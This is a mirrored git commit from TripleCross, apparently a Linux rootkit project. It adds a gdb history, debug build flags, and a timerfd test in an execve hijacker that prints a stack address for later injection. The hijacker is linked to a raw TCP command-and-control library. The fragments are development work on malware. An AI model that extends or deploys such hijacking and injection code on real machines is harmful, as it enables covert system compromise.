mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-26 03:13:07 +08:00
Added extraction of original jump instruction and opcodes
This commit is contained in:
4
src/helpers/.gdb_history
Normal file
4
src/helpers/.gdb_history
Normal file
@@ -0,0 +1,4 @@
|
||||
disass main
|
||||
checksec bof
|
||||
checksec
|
||||
quit
|
||||
@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
|
||||
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
|
||||
|
||||
execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||
clang -c execve_hijack.c
|
||||
clang -g -c execve_hijack.c
|
||||
|
||||
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
||||
clang -lm -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
|
||||
clean:
|
||||
-rm -f execve_hijack.o
|
||||
|
||||
Binary file not shown.
2611
src/helpers/execve_hijack.asm
Normal file
2611
src/helpers/execve_hijack.asm
Normal file
File diff suppressed because it is too large
Load Diff
@@ -16,11 +16,36 @@
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/timerfd.h>
|
||||
|
||||
#include "lib/RawTCP.h"
|
||||
#include "../common/c&c.h"
|
||||
|
||||
|
||||
int test_time_values_injection(){
|
||||
|
||||
struct itimerspec new_value;
|
||||
int max_exp, fd;
|
||||
struct timespec now;
|
||||
uint64_t exp, tot_exp;
|
||||
ssize_t s;
|
||||
|
||||
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
|
||||
new_value.it_interval.tv_sec = 30;
|
||||
new_value.it_interval.tv_nsec = 0;
|
||||
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
||||
return -1;
|
||||
|
||||
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
char* execute_command(char* command){
|
||||
|
||||
FILE *fp;
|
||||
@@ -72,6 +97,8 @@ int main(int argc, char* argv[], char *envp[]){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
test_time_values_injection();
|
||||
|
||||
time_t rawtime;
|
||||
struct tm * timeinfo;
|
||||
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user